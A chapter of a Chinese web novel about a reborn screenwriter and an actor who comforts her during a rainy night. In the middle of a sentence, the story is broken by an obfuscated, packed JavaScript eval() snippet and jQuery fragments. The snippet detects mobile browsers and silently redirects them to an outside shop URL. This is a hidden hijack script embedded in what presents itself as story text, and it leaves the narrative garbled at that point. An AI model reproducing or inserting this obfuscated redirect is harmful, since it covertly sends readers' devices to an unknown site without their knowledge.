文趣网 > 其他小说 > 时针回响 > 42. 重生-没空
    偌大的房间里,顾应盯着收到的“没空”两个字,随即视线转移到游戏机上。

    王承准备好明天要用的物品,开始分享听来的消息:“投资方呆了好几天都没走。”

    “他们来做什么,视察工作?”

    “好像是陈念那边要改剧本,估计是来施压的吧。这两天片场我看丁导老上火了。”

    怪不得,顾应若有所思打开微信搜索一番。

    一睁眼又是新的一天,不出意外,丁恺之告诉钟知晓,先按投资方的意见改动。

    看吧,不管她怎么努力争取,始终改变不了现状。

    原以为的重活,是好好地活,走出一条不一样的路。

    但她像小梅一样走不了,也改不了。

    那她的路到底如何走?

    原来知道不久后的未来并不会让人更好受,是一天天走向那个不得不面对的结局,是面对已知结局无法改变的哀伤。

    要如何过好这一生?上一世的她没想出个答案。

    经历过死亡后她依旧没想清楚。

    钟知晓出着神,漫无目的在路上走着,回去的大巴也没坐,一步一步走了许久。

    天气闷得不行,天空灰蒙蒙的快要下雨了,就连绿叶也不再鲜亮。

    她记起以前写大纲写方案,熬过无数个漫长深夜,直到天亮。

    自然是辛苦困顿,但内心的满足感却十分强烈。

    即便没有好的结果。

    而现在的她已经很久没能感受到创作带来的纯粹快乐,而进组后带给钟知晓的是现实打击,很多事并不是只要能写就可以,有很多的妥协和无可奈何。

    天已经微微发黑,前方模糊一片看不真切,不知何去何从。

    钟知晓的小腿有些酸软,在最近的公交站台坐下来歇息。

    此时天空飘起了雨,过往的车灯、路灯在黑暗中交织,她摊开手让雨水滴落在手心,最后洒落在地。

    同样的座位同样的天气,可心情,比上一次还要糟糕。

    这一切找不到人说,眼泪如同此时的雨,顺着眼眶不断往下涌。

    雨越下越大,随着风狂舞,钟知晓静静坐着任凭眼泪挥洒,任凭雨打湿裤脚。

    “钟老师,伞给你用。”

    钟知晓低着头立马擦完眼泪才抬起头来。

    眼泪很珍贵,只能流进在意之人的心里,况且她不愿自己的脆弱被别人看见。

    王承将伞放在她手上:“我先走了。”

    连给伞这样的小事也是遵循着上一世的轨迹在走,钟知晓努力克制自己的情绪:“谢谢。”

    她真的还会有这漫长的一生吗?

    以前觉得未来对自己来说好遥远,迷茫未知看不清方向。

    现在清楚了未来,却又没时间了,好讽刺。

    钟知晓愤懑着,狂怒着,无能为力,这一团气竟没处发泄,怪不了任何人。

    难道怪老天吗,让自己死去又活过来?

    怪顾应吗?

    跟他有什么关系,他也是受害者。

    怪绑架者吗?

    如果不是自己多管闲事...

    不对,就该怪绑架者,自己跟他无冤无仇,为什么要置她于死地。

    淅沥淅沥,满天的雨仿佛是在为她哭泣。

    “老大...我看钟老师好像挺难过的。”王承回了车上,小心翼翼地看了眼顾应。

    顾应嗯了一声,他当然知道,不然也不会叫王承下车。

    在车上隔着老远就瞧见钟知晓在难过,他恨不得立马下去安慰。

    只是...他的职业导致他做的一举一动都有人盯着,没办法随心所欲。如果影响自己,顾应当然可以不在乎。

    可钟知晓说过,她不想被扒,不想成为焦点,不想毫无隐私。

    现实摆在眼前,他拿了钱活在聚光灯下,舍去一部分隐私是他要付出的代价。

    但钟知晓没有,他不能也不愿用钟知晓的隐私来成全他的喜欢。

    顾应明白也懂得,所以更难受。

    直到回了酒店停车场,跟了一路的尾巴才消停,想要第一时间见到钟知晓,顾应站在电梯出口左等右等,

    他下意识看了眼手表,表盘的裂缝清晰可见,指针早已不走了。

    乍一下从闷热潮湿的室外走入室内,就像是从湿蒸房里出来,顿觉凉爽。不过钟知晓的裤腿被雨淋湿一大片,裤脚紧贴着小腿,黏腻不适。

    凉风袭来,冷意更甚,钟知晓原地搓了搓手臂。

    再抬眼时,电梯里镜子映照着她此刻的狼狈。

    风大雨大,即便打着伞也湿透不少,刚哭过鼻头还发着红,连带着眼睛也微微肿胀。

    钟知晓嘴里默念:“会好的,只是情绪作祟,会好的。”

    她像以往无数次面对失败失意那般安慰自己,什么都会过去。

    “叮”的一声电梯门开,她脚步还没迈出去,几个男子映入眼帘。两个人蹲在地上玩手机,另一个人高大挺拔,走来走去。

    第一次在酒店撞见这般情景,差点没把钟知晓吓一跳,定睛一看是顾应和他工作人员。

    “你们在这里做什么?”钟知晓的喉咙干涩,声音发着哑。

    顾应没直接回答,而是问道:“冷不冷?”

    其他人自觉闪开,给二人留出空间。

    “还好。”钟知晓下意识抽了抽鼻子。

    “怎么哭了?”

    钟知晓嘴硬地说:“没哭,可能是下雨鼻子有些不舒服。”

    顾应也不戳穿:“那等会记得喝感冒冲剂,我那有很多给你拿来。”

    “谢谢...”

    钟知晓垂着眼,湿漉漉的,跟楼下流浪猫没多大区别。

    顾应轻声叹息:“因为修改剧本的事?”

    钟知晓点点头随后又摇头,是也不是。

    是因为修改剧本衍生出来的自我怀疑与否定。

    “我没经历过你遇到的事,没办法感同身受你的挣扎和难受。不过像改剧本这种事,就像我之前说的,不是你的问题,是多方博弈的结果。”

    “嗯我知道。”钟知晓轻轻点头,道理都懂,知易行难。

    “事情总会解决,人生不就是高低起伏嘛,等低谷情绪过去,也会迎来高峰快乐情绪。”顾应实在担心她着凉感冒,他将手中的外卖袋递过去。

    “你快回房间冲个热水澡,洗完喝这个舒服些。”

    外卖袋上残存的温度,在这个风雨夜后显得格外温暖,钟知晓突然觉得被淋湿仿佛也没那么难受,她乖乖地点头。

    “早些睡,今晚别加班加点赶稿了,指不定会有新的转机。”

    “转机?”钟知晓抬眼,转机真的会有吗。

    顾应保证道:“你信我。”

    游戏里的角色死了一次又一次,但总能读档重来。

    剧本写好拍完剪辑成片,命运

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17681251|204153||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    已定,这一次能有转机吗?

    夜已深,钟知晓吹完头发,瞧见桌上那盅甜品,不过分甜腻,恰到好处。

    而顾应说的转机,真的会有吗?

    事情依靠别人或者上天意愿,这不是钟知晓的性格,她习惯了所有的事情靠自己,无论成与不成。

    趁着睡意未深,她还是打开了电脑,按照过往的记忆赶稿。

    天明时,钟知晓收到丁恺之的消息,先暂定改稿,投资方还没沟通好。

    这会是转机吗?

    钟知晓重重地倒在床上,熬完夜即便困意十足,但神经却叫嚣着,闭上眼怎么也睡不着。

    索性睁开眼盯着天花板,数起了羊,一直数到一百,没用。

    剧本暂时不用改,钟知晓闲着没什么事,偶尔临时的改动,也不费劲。

    她呆在房间,片场也不太想去,整个人蔫巴巴的。

    过了几天混沌日子,没有去精进游泳技术,看片也是心不在焉。

    这天晚上吃完饭回了房间,葛双出去玩了,只剩她一个人。

    电视里播着电影,钟知晓靠在床头兴致欠欠,突然意识到有些不对劲。

    哪里不对劲呢?

    钟知晓思来想去,点开了微信。

    顾应的消息还停留在前几天,让她打游戏,她回了“没空”。

    是了,这几天顾应也没找她打游戏,也没找她看剧本。

    难道是因为自己回的那句“没空”,顾应不爽了?

    可顾应不是这么小气的人。

    兴许是顾应觉得他自己太菜了,但她又没嘲讽他。

    钟知晓脑海中浮现许多顾应无比自信又臭屁时刻。

    是了,顾应也不是这么没自信的人。

    但连个消息也没有,难不成他拍戏这么忙吗?

    钟知晓翻开最近几天的通告单,最近拍的戏也还好吧,不是那种激烈情绪的戏,也不是什么大场面。

    就那么没空吗。

    钟知晓从床上坐起来,想这些做什么。

    顾应忙,但她也挺忙的。

    忙着思考人生,忙着活下去。

    是了,她左右不了别人,总可以改变自己。

    天要下雨,娘要嫁人,剧本资方要改,别人不找她。

    她左右不了。

    但她才不要放弃挽救自己的命,这才是活过来的头等大事。

    说走就走,教练刚好能抽个空出来,钟知晓立马找出游泳包,奔向泳池。

    小钟你的命,我钟知晓保了。

    经过学习,钟知晓的进步肉眼可见,熟练只需要不断练习,将动作养成肌肉记忆。

    只是游泳时,难免想起顾应教她的点点滴滴。

    啊,有点烦。

    沉入水中再起身,她将情绪留在水里。

    游泳后钟知晓放松了许多,等再回到房间,已经十点,葛双还没回。

    她打开电视选了一部电影,不过看了几分钟开始走神。

    她想小梅了。

    不知道小梅卡在那关,会不会着急。

    还挺可惜,她还很想通关的。

    不是说好要通关的吗。

    顾应跑哪去了?

    也是,他是大明星,天天忙得很,哪有时间跟自己打游戏。

    埋怨完,钟知晓觉得自己像个怨妇,完全不像平常的自己。

    真不应该。

    很不应该。